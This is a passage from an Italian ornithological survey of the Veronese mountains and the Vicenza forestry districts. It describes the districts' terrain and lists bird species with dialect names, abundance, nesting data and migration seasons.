Citrinella. Smaiàrda. Comune sui monti. Emberiza Cirlus. Pionza smaiardada. Non comune. Emberiza Hortulana. Ortolan. Sui monti, passa in agosto e settembre. Emberiza Cia. Comune in autunno. Emberiza Scheniclus. Pionza. Comune al piano, di passo e sedentario. Alauda arborea. Calandra. Comune di passo e sedentaria. Alauda arvensis. Lodola. Comune di passo e anche sedentaria. Galerita cristata. Capelòta. Sedentaria e comune assai ovunque. Anthus pratensis. Sguseta. Abbondantissima al piano nel settembre, più scarsa in primavera. Anthus trivialis. Tordina. Non raro, è anco sedentario. Anthus Spipoletta. Sguseton. Non comune, vedesi in marzo ed in ottobre. Budytes flavus. Boarina. Comune. Motacilla alba. Squassacoa, Catarinela. Assai comune. Calobates melanope. Boarina squassacoa. Sedentaria e non rara. Saxicola Oenanthe. Culbianco. Comune e di doppio passo. Monticola saxatilis. Squerussolon de montagna. Comune. Monticola Cyanus. Passara solitaria. Comune assai, nidifica sulle rocce; sedentaria. Merula nigra. Merlo. Stazionario e comune. Merula torquata. Gardëna negra. Non rara, sedentaria sui monti. Turdus pilaris. Gardëna. Di passaggio. Turdus iliacus. Di passo alla fine dell’autunno. Turdus musicus. Tordo da ua. Di doppio passo, abbonda in autunno. Turdus viscivorus. Tordo gazoto. Rara, sedentaria. Aëdon Luscinia. Rosignol. Non raro e nidificante. Erithacus Rubecula. Pitaro. Assai comune, di doppio passo. Ruticilla Phœnicurus. Squerussolo. Comunissimo alle due epoche del passo. Ruticilla titys. Squerussolo moro. Stazionario e non raro. Pratincola Rubicola. Bati-ale. Frequente e sedentario. Pratincola Rubetra. Negrisol. Non raro. Sylvia nisoria. Biancheton becafigo. Piuttosto abbondante. Sylvia cinerea. Bianchëta. Assai comune in autunno. Monachus Atricapillus. Capinero. Comune e di doppio passo. Monachus hortensis. Figarola, Becafigo. Comune. Phylloscopus sibilator. Ciuin, Verdesin. Comunissimo in aprile. Troglodytes parvulus. Reatin, Imperatorin, Sbusasese, Cercer. Comune e stazionario ovunque. Accentor modularis. Morèta. Di doppio passaggio. Regulus cristatus. Stelin. Comune e di doppio passaggio. Regulus ignicapillus. Stelin dal mostacio. Comune assai sulla fine dell’autunno, giunge in ottobre. Acredula rosea. Speronzola dalla coa longa, Ocio de bò. Non rara. Parus major. Speronzola, Zifotola. Comune ovunque. Cyanistes caeruleus. Speronzolin, Cincibin. Abbondante in autunno. Sitta cæsia. Rampeghin. Non raro, sedentario. Certhia brachydactyla. Rampeghin. Comparisce in primavera e nell’autunno; anche sedentario. Tichodroma muraria. Rampeghin de zengia. Comune sui monti rocciosi, ove è sedentario. Oriolus Galbula. Papafigo. Abbastanza comune al piano. Lanius Excubitor. Redestola. Abbastanza comune in primavera. Lanius Collurio. Sàrsacola. Estiva comune, di passo in primavera ed autunno. Lanius auriculatus. Sàrsacola dalla testa rossa. Non comune. Muscicapa Atricapilla. Bati-ale negrisòl. Non rara. Hirundo rustica. Rondèna. Comunissima in estate. Chelidon urbica. Ciprioto. Comune assai in estate. Cotile rupestris. Rondèna de montagna. Comune ai monti, ove giunge in marzo. Cypselus Apus. Rondòn. Comune in estate. Caprimulgus europæus. Tetavache. Raro. Picus major. Pigozzo rosso. Comunissimo e sedentario sui monti boschivi. Gecinus viridis. Pigozzo verde. Sedentario e non raro nei boschi. Iynx Torquilla. Storzicol. Non raro, anche sedentario. Cuculus canorus. Cuco. Non raro, estivo. Upupa Epopos. Buba, Galletto de montagna. Rara. Strix flammea. Aloco de campanil. Poco comune, sedentario. Asio Otus. Ciussò. Comune e sedentario, nidificante nei boschi. Athene Noctua. Ziveta. Assai comune, nidifica tra le rocce. Bubo maximus. Bubo, Gran Bubo. Comune e sedentario sui monti. Circus cyaneus. Falcheto bianco. Rara. Aquila Chrysaëtus. Aquila reale. Sedentaria sul Baldo. Buteo vulgaris. Poiana, Poiana de zocca. Comune, sedentaria. Cerchnéis Tinnunculus. Falcheto torresan. Abita e nidifica sulle rocce dei monti, sedentario. Columba Palumbus. Favazzo. Non raro. Columba Oenas. Colombazzo. Comune, anco sedentaria. Turtur tenera. Tortora salvadega. Comune sui monti. Perdix saxatilis. Cotorno. Comune sugli alti monti. Starna Perdix. Pernise. Comunissima. Coturnix communis. Quaia. Piuttosto frequente in autunno. Lyrurus Tetrix. Gal de monte. Raro sul monte Baldo. Lagopus mutus. Pernisa bianca, Gallinella de montagna. Non raro sul monte Baldo. Scolopax Rusticula. Galinazza. Comune in autunno. Vicenza, distretti di Asiago, Schio, Valdagno, Arzignano e Vicenza (Molari Arturo): La periferia delle diverse plaghe di osservazione si estenderebbe per questa volta ai distretti amministrativi forestali di Asiago, di Schio, di Valdagno, di Arzignano e di Vicenza. I confini della citata periferia anche troppo estesa, sarebbero: ad E., i distretti amministrativi di Bassano, Morostica, Thiene e la provincia di Padova; al S., i distretti amministrativi di Barbarano, Lonigo e la provincia di Verona in parte; ad O., la provincia di Verona ed il Tirolo meridionale; a N., il Tirolo. Il distretto amministrativo di Asiago, od altipiano dei Sette Comuni, ha la complessiva superficie territoriale di ettari 44038, dei quali 24000 circa a bosco la maggior parte resinoso, il rimanente a prato, a pascolo e a coltura agraria adatta a quelle località, eccezione fatta dalle ghiaie sterili e dalle rocce nude. La sua elevazione sul livello del mare varia dai 600 ai 2200 metri. Non ha veri e propri corsi d’acqua perenni, dappoichè la Valgadena e la Val Frenzela che vanno a scaricarsi dalla parte di levante nel Brenta, la Val di Nos e la Valdassa che sboccano nell’Astico a ponente, non sono che torrenti avventizii nell’epoca delle grandi piogge e dello scioglimento delle nevi. È però ricca di buone ed abbondanti sorgenti. Il terreno, di antichissima formazione, presenta due differenti tipi di rocce facilmente distinguibili, cioè le schistose e le calcaree, entrambe soggette a decomposizione, relativamente progressiva per influenza degli agenti atmosferici. Siccome però il detto terreno è abbastanza provveduto d’argilla, di silice e di ossido idrato di ferro, si presta molto favorevolmente alla vegetazione dei boschi nelle essenze aghifoglie e latifoglie e dei pascoli in genere, avvalorata la sua potenza produttiva dalla continua e regolare trasformazione di tutti i detriti vegetali nel terriccio od humus tanto necessario allo sviluppo delle piante in genere. Il distretto amministrativo di Schio ha la complessiva estensione territoriale di ettari 37840 circa, di cui ettari 10940 circa a bosco in genere, il rimanente a coltura agraria, a prati artificiali ed a pascoli naturali di montagna, fatta eccezione dalle ghiaie e dalle rocce nude come sopra. La elevazione del suolo sopra il livello del mare varia da 100 ad oltre 2000 metri. Ha tre corsi principali d'acqua perenne nei quali vanno a scaricarsi tutti gli altri rivoli secondarii sia perenni che avventizi, e sono: l'Astico che da N. a S. e SSE. lo divide dal distretto amministrativo di Asiago, proveniente dal Tirolo; il Posina che da O. ad E. scende dalla Valle omonima e viene a scaricarsi nell'Astico; il Leogra il quale colla direzione NO.-SE. dalle Valli dei Signori viene a portare le sue acque nel Bacchiglione. Si contano anche fra i monti di questo distretto parecchie sorgenti. Vi si trovano le rocce schistose, calcaree ed in certe località anche plutoniche-cristalline, con minerali di piombo, zinco, rame ec. Non è molto ricco di boschi di essenze aghifoglie o resinose, i quali esistono solamente verso l'estremo limite di confine col Tirolo, vi abbondano invece i boschi di essenze latifoglie, la maggior parte governati a ceduo in buonissimo stato di vegetazione. Sono pure feraci e produttivi i terreni ridotti a coltura agraria, i prati ed i pascoli naturali di montagna. Il distretto amministrativo di Valdagno ha una superficie territoriale di ettari 17115 di cui 3137 circa a bosco. Il rimanente campi, prati, pascoli, ghiaie e rocce nude. L'elevazione sul livello del mare varia da 100 a 1500 metri. L'arteria principale di scarico delle acque nel territorio di questo distretto è l'Agno che da NO. a SE. porta questo nome fintanto che, girando al S. in distretto amministrativo di Vicenza sotto al comune di Montecchio maggiore, assume quello di Guà. Lungo i boscosi pendii dei monti che ne formano il complesso si rinvengono anche parecchie sorgenti. Le rocce vi sono schistose, calcaree, silicee, plutonico-cristalline con minerali di manganese e ferro, e con depositi abbastanza produttivi di lignite. I boschi sono tutti costituiti da essenze latifoglie di vegetazione rigogliosa per la massima parte governati a ceduo ed a ceduo composto. Relativamente fertili e feraci sono i terreni ridotti a coltura agraria o mantenuti a pascolo. Il distretto amministrativo di Arzignano ha una superficie territoriale di ettari 14416 circa di cui 3822 circa a bosco, il rimanente, come sopra, campi, prati, pascoli, ghiaia e rocce nude. Anche per questo distretto l'elevazione del suolo varia da 100 a 1500 metri sul livello del mare. Il bacino idrografico particolare al distretto è costituito dal torrente Chiampo, il quale lo percorre longitudinalmente con direzione NNO.-SE., girando poi a SO. ed a S. per scaricarsi nell'Adige. L'ossatura, per così dire, dei monti che lo compongono sono le rocce calcaree, schistose, silicee ed in qualche luogo anche plutoniche. Vi si riscontrano parecchie sorgenti. I boschi che ne rivestono le falde, meno piccole eccezioni, sono tutti costituiti da essenze latifoglie, vegete e rigogliose, governate a ceduo ed a ceduo composto. Sono pure fertili e feraci i terreni ridotti a coltura agraria diversa, campi, prati e vigneti ubertosi, non che quelli mantenuti a pascolo naturale. Da ultimo, il distretto amministrativo di Vicenza ha una superficie territoriale di ettari 491767 circa dei quali ne sono tenuti a bosco 3150 circa, esclusivamente costituiti da essenze latifoglie diverse e governati a ceduo. La elevazione dei colli Berici, i quali con diverse ramificazioni si estendono quasi da N. a S. nella parte occidentale del distretto stesso, non ascende a metri 500 sul livello del mare, e sono pur essi, dove più dove meno, ridotti a coltura agraria, campi, prati, vigneti e frutteti floridissimi. Le ubertose pianure poi, i prati, i campi, le risaie, godono il beneficio di abbondanti e perenni corsi d'acqua, molti derivati dai fiumi Bacchiglione, Retrone ed Astico-Tesina, alcuni da proprie e vere sorgenti, lungo i quali corsi d'acqua esistono piantagioni e siepi alte e folte di essenze diverse latifoglie, piantagioni e siepi che parimenti esistono lungo tutti i fossi di divisione dei fondi a seconda dei proprietari, e di scolo ai fondi stessi per le soverchie acque piovane, le quali in certe località contribuiscono a mantenere il terreno assai umido ed anche veramente paludoso. Dal fin qui detto ritorna facile trarne la naturale induzione che gli uccelli in genere, indigeni nel vero senso della parola, stazionarii pel solo periodo della nidificazione, o prettamente di passaggio, abbiano a trovare lungo le diverse valli fresche e boscate, e via pei prati e pei campi del circondario, tutto ciò che meglio si conviene al loro benessere fisico come prediletto nutrimento e come situazioni di dimora o di sosta, ciò che certo non può dirsi, se qui regge tale espressione, del loro benessere morale, giacché quei pochi e fortunati individui che riescono ad eludere e sfuggire le molteplici e svariate insidie di tanti ed arrabbiati uccellatori e cacciatori, danno segni di tale spavento all'avvicinarsi dell'Uomo, da argomentare benissimo come essi vivono in continua apprensione e senza un momento di quiete. Elenco generale delle specie di uccelli osservate nella provincia di Vicenza, distretti di Asiago, Schio, Valdagno, Arzignano e Vicenza, coi nomi volgari locali ed indicazioni di frequenza ecc. Corvus Corax, Corvo, m. sd. n. Corvus frugilegus, Corvo, f. e. n. Corvus Cornix, Cornacchia, f. m. sd. n. 1 F. (frequente), s. (scarso), m. (monti), p. (piano), sd. (sedentario), e. (erratico), dP. (di passaggio), a. (accidentale), n. (nidifica). Pica rustica, Gazza mora, Gazza ladra, s. mp. sd. n. Garrulus glandarius, Gazza rossa, e. n. Pyrrhocorax alpinus, Zorla, f. m. sd. n. Sturnus vulgaris, Striolo, f. m. p. e. n. Fringilla coelebs, Finco, f. dp. n. Fringilla Montifringilla, Finco montan, f. dp. Passer montanus, Zeleghetta megiarola, f. e. n. Passer Italiae, Zelega grossa, f. mp. sd. n. Passer domesticus, Zelega piccola, f. mp. sd. n. Coccothraustes vulgaris, Frison, s. mp. dp. n. Ligurinus Chloris, Verdon, mp. dp. n. Chrysomitris Spinus, Lugarin, Lugaro, f. dp. Carduelis elegans, Gardelin, mp. e. dp. n. Serinus hortulanus, Verdolin, Trementin, s. m. Cannabina Linota, Faganelo, f. dp. n. Ægiothus Linarius, Organin, Cardinalin, a. Pyrrhula europaea, Subioto, s. e. Loxia Curvirostra, Beco in crose, Crosnobel, s. a. Miliaria Projer, Petazzo, s. Emberiza Citrinella, Squajardola, f. mp. e. dp. n. Emberiza Cirlus, Zigola, f. n. Emberiza Cia, Pionza, f. Emberiza Schœniclus, Pionza, f. mp. dp. n. Alauda arborea, Berluato, mp. dp. n. Alauda arvensis, Lodola, f. mp. e. dp. n. Galerita cristata, Capellua, p. sd. n. Anthus pratensis, Fista, Fistarela, f. dp. Anthus trivialis, Tordina, f. mp. dp. n. Anthus Spipoletta, Fiston, e. dp. Budytes flavus, Boarina zala, e. dp. Motacilla alba, Boarina, Batticoa, f. e. dp. n. Calobates melanope, Boarina zala, dp. Saxicola Oenanthe, Culbianco, s. dp. n. Saxicola albicollis, Mozzetto, dp. n. Saxicola Stapazina, Favreto, a. Monticola saxatilis, Coarossolon de montagna, s. n. Monticola Cyanus, Passara solitaria, s. Merula nigra, Merlo, f. mp. dp. n. Merula torquata, Merlo dal colaro, m. sd. Turdus pilaris, Gazanela, Gardena, e. dp. Turdus iliacus, Tordo siselin, dp. Turdus musicus, Tordo da ua, f. dp. n. Turdus viscivorus, Tordo gazan, mp. e. dp. n. Aëdon Luscinia, Rossignolo, s. mp. dp. n. Erithacus Rubecula, Pettorosso, Pettaro, f. e. dp. n. Cyanecula Wolfi, Coarossa della regina, á. Ruticilla Phoenicurus, Coarossa, s. dp. n. Ruticilla titys, Coarossa mora, Spazacamin, dp. n. Pratincola Rubicola, Favareto, mp. e. n. Pratincola Rubetra, Batiale, s. Sylvia nisoria, Becafigon, Biancheton, s. Sylvia orphæa, Biancheton, Becafigon, s. Sylvia cinerea, Canevela, mp. dp. n. Sylvia Curruca, Canevela rossa, Becafigo zelega, mp. dp. n. Monachus Atricapillus, Caonegro e Coarosso, mp. e. dp. n. Monachus hortensis, Becafigo, f. dp. n. Phylloscopus sibilator, Ciùè, Ciuin, dp. n. Phylloscopus Trochilus, Ciùè, Ciuin, dp. n. Phylloscopus Bonellii, Ciùè, Ciuin bianco, dp. Phylloscopus rufus, Ciùè, Ciuin, dp. Hypolais icterina, Boscara, mp. dp. n. Acrocephalus streperus, Foracanele, s. Acrocephalus arundinaceus, Canelon, s. Calamodus aquaticus, Risarolo, s. Locustella naevia, Risarolo, Fistel, a. Troglodytes parvulus, Rezeto, Sgarela, e. dp. n. Cinclus aquaticus, Merlo d'acqua, s. Accentor modularis, Moreta, dp. n. Regulus cristatus, Stelin, e. dp. n. Regulus ignicapillus, Stelin picolo, e. Acredula caudata, Codona, Coatimon, a. Acredula rosea, Codona, Coatimon, s. e. dp. n. Parus major, Parussola, s. mp. e. dp. n. Parus ater, Montagnola, s. dp. n. Cyanistes caeruleus, Fratin, s. e. dp. Lophophanes cristatus, Montagnola col ciufo, Parussolin colla cresta, s. Certhia familiaris, Rampeghin picolo, n. Certhia brachydactyla, Rampeghin, n. Tichodroma muraria, Becamuri, Becasassi, s. Oriolus Galbula, Brusola, s. dp. Lanius Excubitor, Regestolon, s. dp. Lanius minor, Regestola falcona, f. mp. dp. n. Lanius Collurio, Regestola picola, f. mp. dp. n. Lanius auriculatus, Regestola rossa, mp. dp. n. Butalis Grisola, Batiale, s. dp. Hirundo rustica, Rondinela, f. mp. dp. n. Chelidon urbica, Rondin, f. mp. dp. n. Clivicola riparia, Rondin d'acqua, s. Cotile rupestris, Tartagin, Rondin de monte, s. dp. n. Cypselus Apus, Rondon, f. mp. dp. n. Cypselus Melba, Rondon foresto, dp. Caprimulgus europaeus, Lattacavre, Tettacavre, s. mp. dp. n. Dryocopus martius, Pigozzo nero, m. sd. n. Picus major, Pigozzo rosso, n. Picus medius, Pigozzo rosso, a. Gecinus viridis, Pigozzo verde, f. mp. n. Gecinus canus, Pigozzo verde, a. Ilynx Torquilla, Caostorto, Storzicolo, s. mp. dp. n. Cuculus canorus, Cuco, dp. n. Alcedo Ispida, Piombin, f. sd. n. Upupa Eops, Galeto de montagna, dp. n. Strix flammea, Barbagian, f. p. sd. n. Asio Otus, Gufo, Aloco coi corni, s. Athene Noctua, Zoeta, Ziveta, f. sd. n. Scops Giu, Cius, mp. Bubo maximus, Gufo grande, Aloco grande, s. Circus aeruginosus, Pojana, Poja, s. Buteo vulgaris, Pojana, Poja, mp. Hypotriorchis Subbuteo, Falcheto bularin, mp. Cerchneis Tinnunculus, Storela, mp. n. Accipiter Nisus, Falcheto, f. Ardea cinerea, Sgarza, p. a. Ardea purpurea, Sgarza rossa, p. a. Egretta Garzetta, Sgarzetta, p. a. Ardetta minuta, Trentacoste, p. a. Botaurus stellaris, Tarabuso, p. a. Anser cinereus, Oca salvadega, a. Anser segetum, Oca salvadega, a. Anas Boscas, Mazzorin, Arena salvadega, a. Mareca Penelope, Ciosso, a. Nettion Crecca, Sarsegna, a. Querquedula Circia, Creccola, a. Fulix Fuligula, Moreton, a. Columba Palumbus, Colombo salvadego, dp. n. Columba Oenas, Colombo salvadego, dp. n. Columba livia, Colombo salvadego, n. Turtur tenera, Tortorella, Tortora, dp. n. Perdix rufa, Pernise rossa, e. n. Perdix saxatilis, Cotorno, e. n. Starna Perdix, Pernisotto, Pernise piccola, f. Coturnix communis, Quagia, dp. n. Tetrao Urogallus, Galo cedron, s. m. sd. n. Lyrurus Tetrix, Galo sforcelo, s. m. sd. n. Bonasa betulina, Francolin, s. m. sd. n. Lagopus mutus, Pernise bianca. Rallus aquaticus, Sforzana, Girardela, p. dp. Ortygometra Porzana, Requagio negro, Girardina, p. dp. Ortygometra Bailloni, Pisoca, p. dp. Ortygometra parva, Requagisto, p. dp. Crex pratensis, Requagio rosso, dp. n. Gallinula chloropus, Viatara, p. dp. Fulica atra, Folega, p. a. Grus communis, Grua, dp. Vanellus Capella, Paonzina, f. dp. Totanus Ochropus, Cul bianco d'acqua, Totanio, p. dp. Scolopax Rusticula, Gallinazza, dp. Gallinago major, Ciocheta, dp. Gallinago cælestis, Bechela, dp. Gallinago Gallinula, Becanoto, dp. Numenius Arquata, Arcaza, a. Sterna fluviatilis, Cocalina bianca, a. Sternula minuta, Cocalina piccola, a. Hydrochelidon nigra, Cocalina scura, a. Podiceps fluviatilis, Sottopozzi, Sotarol, a. Elenco delle specie di uccelli le quali nidificano nella provincia di Vicenza, distretti di Asiago, Schio, Valdagno, Arzignano e Vicenza, colle notizie più importanti in proposito. Corvus Corax. Una covata di 3-4 uova nel giugno, incubate per 20 giorni da M. e F. Corvus Cornix. Una covata nel giugno di 3-4 uova; M. e F. prendono parte alla incubazione che dura 20 giorni. Corvus frugilegus. Una covata nel giugno di 3-4 uova, incubate per circa 20 giorni da M. e F. Pica rustica. Due covate in maggio e luglio di 5-7 uova, incubate per tre settimane da M. e F. Garrulus glandarius. Due covate in mag. e lug. di 5-7 uova: M. e F. curano l’incubazione. Pyrrhocorax alpinus. Una covata nel giugno di 3-4 uova, incubate per 20 giorni dalla sola femmina. Sturnus vulgaris. Due covate in maggio e luglio di 4-6 uova, incubate per 15 giorni da M. e F. Fringilla coelebs. Una a tre covate dal maggio al luglio di 4-5 uova, incubate per 10 giorni dalla sola femmina. Passer montanus. Una a tre covate dal maggio al luglio di 5-6 uova, incubate per 10 giorni circa da M. e F. Passer Italiae. Una a tre covate dal maggio al luglio di 5-6 uova, incubate da M. e F. per circa 10 giorni. Passer domesticus. Una a tre covate dal maggio al luglio di 5-6 uova, incubate per circa 10 giorni da M. e F. Coccothraustes vulgaris. Una a due covate dal maggio al luglio di 4-5 uova, incubate per 12 giorni. Ligurinus Chloris. Una a due covate in maggio e luglio di 4-5 uova, incubate per 12 giorni da M. e F. Carduelis elegans. Una a due covate in maggio e luglio di 5-6 uova, incubate da M. e F. per 10 giorni. Cannabina Linota. Una a due covate in maggio e luglio di 5-6 uova, incubate da M. e F. per 10 giorni. Emberiza Citrinella. Una a due covate in maggio e luglio di 4-5 uova, incubate da M. e F. per 10 giorni. Emberiza Cirlus. Una a tre covate da maggio a luglio di 4-6 uova, incubate da M. e F. per circa 8 giorni. Emberiza Schœniclus. Una a due covate da maggio a luglio di 4-6 uova, incubate da M. e F. per 10 giorni. Alauda arborea. Due covate in maggio e luglio di 4-5 uova, incubate dalla sola femmina per 10 giorni. Alauda arvensis. Due covate in maggio e luglio di 4-5 uova, incubate dalla sola femmina per 10 giorni. Galerita cristata. Due covate in maggio e luglio di 4-5 uova, incubate dalla sola femmina per 10 giorni. Anthus trivialis. Due covate in maggio e luglio di 5-6 uova, incubate dalla femmina soltanto per 10 giorni. Motacilla alba. Due covate in maggio e luglio di 4-6 uova, incubate dalla sola femmina per 10 giorni. Saxicola Oenanthe. Una a due covate in maggio e luglio di 5-6 uova, incubate per 12 giorni da M. e F. Saxicola albicollis. Come la specie precedente. Monticola saxatilis. Due covate in mag. e lug. di 5-6 uova, incubate dalla sola femmina per circa 15 giorni. Merula nigra. Due a tre covate da aprile a luglio di 4-6 uova, incubate da M. e F. per 15 giorni. Turdus musicus. Una a due covate da aprile a luglio di 4-5 uova, incubate da M. e F. per 15 giorni. Turdus viscivorus. Come per la specie precedente. Aëdon Luscinia. Due covate in maggio e luglio di 4-5 uova, incubate per 10 giorni dalla sola femmina. Erithacus Rubecula. Come per la specie precedente. Ruticilla Phœnicurus. Come per la specie precedente. Ruticilla titys. Come sopra. Pratincola Rubicola. Come sopra. Sylvia cinerea. Due covate in maggio e luglio di 4-6 uova, incubate da M. e F. per 10 giorni. Sylvia Curruca. Come sopra. Monachus Atricapillus. Due covate in maggio e giugno di 4-6 uova, incubate per circa 10 giorni. Monachus hortensis. Come per la specie precedente. Phylloscopus sibilator. Due covate in maggio e giugno di 6-8 uova, incubate per circa 8 giorni dalla sola femmina. Phylloscopus Trochilus. Come sopra. Phylloscopus Bonellii. Come sopra. Phylloscopus rufus. Come sopra. Hypolais icterina. Due covate in mag. e giug. di 4-6 uova, incubate per 10 giorni da M. e F. Troglodytes parvulus. Due covate in maggio e giugno di 8-10 uova, incubate per 10 giorni da M. e F. Accentor modularis. Due covate in mag. e giug. di 4-6 uova, incubate dalla sola femmina per 12 giorni. Regulus cristatus. Due covate in mag. e giug. di 4-6 uova, incubate per 8 giorni dalla sola femmina. Regulus ignicapillus. Come sopra. Acredula rosea. Due covate in maggio e luglio di 8-10 uova, incubate da M. e F. per 10 giorni. Parus major. Come sopra, l’incubazione di 12 giorni. Parus ater. Come per la specie precedente. Certhia brachydactyla. Due covate in maggio e luglio di 6-8 uova, incubate per 10 giorni dalla sola femmina. Lanius minor. Due covate in maggio e luglio di 5-7 uova, incubate per 12 giorni da M. e F. Lanius Collurio. Come sopra. Lanius auriculatus. Come sopra. Hirundo rustica. Due covate in maggio e luglio di 5-6 uova, incubate da M. e F. per circa 10 giorni. Chelidon urbica. Come sopra. Cotile rupestris. Come sopra, depone 4 a 5 uova. Cypselus Apus. Due covate in maggio e giugno di 3-5 uova, incubate per circa 12 giorni da M. e F. Caprimulgus europaeus. Una o due covate in maggio e luglio di 1-2 uova, incubate per 20 giorni dalla sola femm. Dryocopus martius. Una o due covate in maggio e luglio di 5-7 uova, incubate per 15 giorni dalla sola femmina. Picus major. Come per la specie precedente. Gecinus viridis. Come per la specie precedente. Lynx Torquilla. Due covate in maggio e luglio di 5-7 uova, incubate dalla sola femmina per 12 giorni. Cuculus canorus. Depone le uova in maggio e giugno nei nidi di altri uccelli. Alcedo Ispida. Due covate in maggio e luglio di 3-4 uova, incubate per 15 giorni. Upupa Epopos. Come sopra, depone 2-3 uova. Strix flammea. Come sopra, depone 3-4 uova. Athene Noctua. Come sopra. Cerchneis Tinnunculus. Come sopra, depone 2-3 uova incubate per 20 giorni. Columba Palumbus. Due covate in giugno ed agosto di 2 uova, incubate da M. e F. per 20 giorni. Columba Oenas. Come sopra. Columba livia. Come sopra, fa anche tre covate. Turtur tenera. Due covate in giugno e luglio di 2 uova, incubate da M. e F. per 15 giorni. Perdix rufa. Una covata nel giugno di 10-15 uova, incubate dalla sola femmina per circa 15 giorni. Perdix saxatilis. Come sopra. Coturnix communis. Due covate in giug. e lug. di 10-18 uova, incubate dalla sola femmina per 10-12 giorni. Tetrao Urogallus. Una covata nel giugno di 6-10 uova, incubate dalla sola femmina per 20 giorni. Lyrurus Tetrix. Come sopra, depone 8-12 uova. Bonasa betulina. Come sopra, depone 6-8 uova incubate per 15 giorni. Crex pratensis. Due covate in giugno e luglio di 4-6 uova, incubate dalla sola femmina per 12 giorni. Elenco delle specie di uccelli che sono di passaggio nella provincia di Vicenza, e più specialmente nei distretti di Asiago, Schio, Valdagno, Arzignano e Vicenza, con notizie in proposito: Fringilla cœlebs. Passa in piccola quantità in marzo e dalla metà di settembre a tutto novembre; qualcuno sverna. Fringilla Montifringilla. Poco numerosa dalla metà di febbraio a quella di marzo e dalla metà di ottobre a tutto dicembre; alcune svernano. Coccothraustes vulgaris. Scarso dalla metà di marzo a quella di aprile e dalla metà di settembre a tutto ottobre. Ligurinus Chloris. Scarso dalla metà di marzo a quella di aprile ed in ottobre e novembre. Chrysomitris Spinus. Passa tutto ottobre sino a metà novembre, non si vede in primavera. Carduelis elegans. Dalla metà di marzo a quella di aprile e dalla metà di settembre a tutto ottobre; poco abbondante, alcuni svernano. Cannabina Linota. Scarso dalla metà di marzo a quella di aprile e dalla metà di ottobre a tutto novembre. Emberiza Citrinella. Scarso dalla metà di marzo a quella di aprile ed in ottobre e novembre. Emberiza Schœniclus. Passa in scarso numero dalla metà di marzo a quella di aprile e dalla metà di ottobre a tutto novembre; alcuni svernano. Alauda arborea. Scarsa in aprile ed ottobre sino alla metà di novembre. Alauda arvensis. Scarsa dalla metà di marzo a quella di aprile ed in ottobre e prima quindicina di novembre. Anthus pratensis. Scarsa dalla metà di marzo a quella di aprile ed in ottobre. Anthus trivialis. Scarso in aprile e settembre sino a metà ottobre. Anthus Spipoletta. Pochi dalla metà di marzo alla metà di aprile e dalla metà di ottobre a quella di novembre. Budytus flavus. Scarso dalla metà di marzo a quella di aprile e in ottobre. Motacilla alba. Poche dalla metà di marzo a quella di aprile ed in ottobre. Calobates melanope. Come la specie precedente. Saxicola Oenanthe. Scarso in aprile e settembre sino a metà ottobre. Saxicola albicollis. Come la specie precedente, ma ben poche. Merula nigra. Scarso dalla metà di febbraio a tutto marzo ed in ottobre sino a metà novembre. Turdus pilaris. Poche in marzo e dalla metà ottobre a tutto dicembre; alcune svernano. Turdus iliacus. Pochi dalla metà di febbraio a quella di marzo ed in ottobre e novembre. Turdus musicus. Scarso in marzo e aprile ed in ottobre sino a metà novembre. Turdus viscivorus. Scarsa nel marzo e dalla metà ottobre a tutto novembre. Aëdon Luscinia. Dalla metà di aprile a quella di maggio ed in settembre. Erithacus Rubecula. Numeroso, in aprile e dalla metà di settembre a tutto ottobre; alcuni svernano. Ruticilla Phoenicurus. Scarso in aprile ed in settembre sino a metà ottobre. Ruticilla titys. Come sopra, ma meno frequente. Pratincola Rubicola. Pochissimi dalla metà di marzo a quella di aprile e dalla metà di settembre a quella di ottobre; alcuni svernano. Sylvia cinerea. Scarsa in aprile e settembre. Sylvia Curruca. Come sopra e anche nella prima metà di ottobre. Monachus Atricapillus. Poche dalla metà di marzo a quella di aprile ed in settembre sino a metà ottobre; alcune svernano. Monachus hortensis. Raro in aprile e dalla metà di agosto a tutto settembre. Phylloscopus sibilator. Scarso dalla metà di marzo alla metà di aprile e dalla metà di settembre a quella di ottobre. Phylloscopus Trochilus. Come sopra. Phylloscopus Bonellii. Come sopra. Hypolais icterina. Pochi dalla metà di aprile alla metà di maggio e dalla metà di settembre a quella di ottobre. Troglodytes parvulus. Pochi in marzo ed in ottobre sino a metà novembre; alcuni svernano. Accentor modularis. Poche in marzo e dalla metà ottobre a tutto novembre. Regulus cristatus. Pochi dalla metà di marzo a quella di aprile e dalla metà di ottobre a quella di novembre; qualcuno sverna. Acredula rosea. Poche in marzo ed in novembre sino a metà dicembre; alcune svernano. Parus major. Scarsa in marzo ed in ottobre sino a metà novembre; svernano. Parus ater. Scarsa dalla metà di febbraio a quella di marzo e dalla metà di ottobre a quella di novembre. Cyanistes caeruleus. Poche dalla metà di febbraio a tutto marzo e dalla metà di ottobre a tutto novembre; alcune svernano. Oriolus Galbula. Scarso nella prima metà di aprile e dalla metà di agosto a quella di settembre. Lanius Excubitor. Scarsa nella seconda metà di marzo e dalla metà di ottobre a quella di novembre. Lanius minor. Frequente dalla metà di aprile a quella di maggio e dalla metà di settembre a quella di ottobre, allora più scarsa. Lanius Collurio. Come sopra. Lanius auriculatus. Come sopra. Butalis Grisola. Come sopra, ma non frequente. Hirundo rustica. Abbondante dalla metà di marzo a quella di aprile e nel settembre. Chelidon urbica. Abbondante in aprile ed in ottobre. Cotile rupestris. Scarsa dalla metà di marzo a quella di aprile ed in ottobre. Cypselus Apus. Numeroso in aprile e sulla fine di luglio. Caprimulgus europaeus. Scarso in aprile ed in ottobre. Iynx Torquilla. Scarso in aprile e settem. sino a metà ottob. Cuculus canorus. Pochi in aprile e dalla metà di settembre a quella di ottobre. Upupa Epops. Poche dalla metà di marzo a quella di aprile e dalla metà di settembre a quella di ottobre. Columba Palumbus. Pochi nel marzo ed in ottobre. Columba Oenas. Come sopra, ma anche nella prima metà di settembre. Turtur tenera. Poche in aprile e dalla metà di settembre a tutto ottobre. Coturnix communis. Numerose dalla metà di aprile a quella di maggio e dalla metà di agosto a quella di ottobre. Rallus aquaticus. Scarsa in aprile e dalla metà di agosto a quella di settembre; alcune svernano. Ortygometra Porzana. Scarso in marzo sino a metà di aprile e dalla metà di settembre a tutto ottobre. Ortygometra Bailloni. Come sopra. Crex pratensis. Scarso in aprile e dalla metà di settembre a quella di ottobre. Gallinula chloropus. Scarsa dalla metà di marzo a quella di apr. ed in settem. sino a metà ottob.; qualcuna sverna. Vanellus Capella. Scarsa dalla metà di marzo a quella di aprile e nell’ottobre sino a metà novembre. Scolopax Rusticula. Poche dalla metà di marzo a quella di aprile e dalla metà di ottobre a quella di 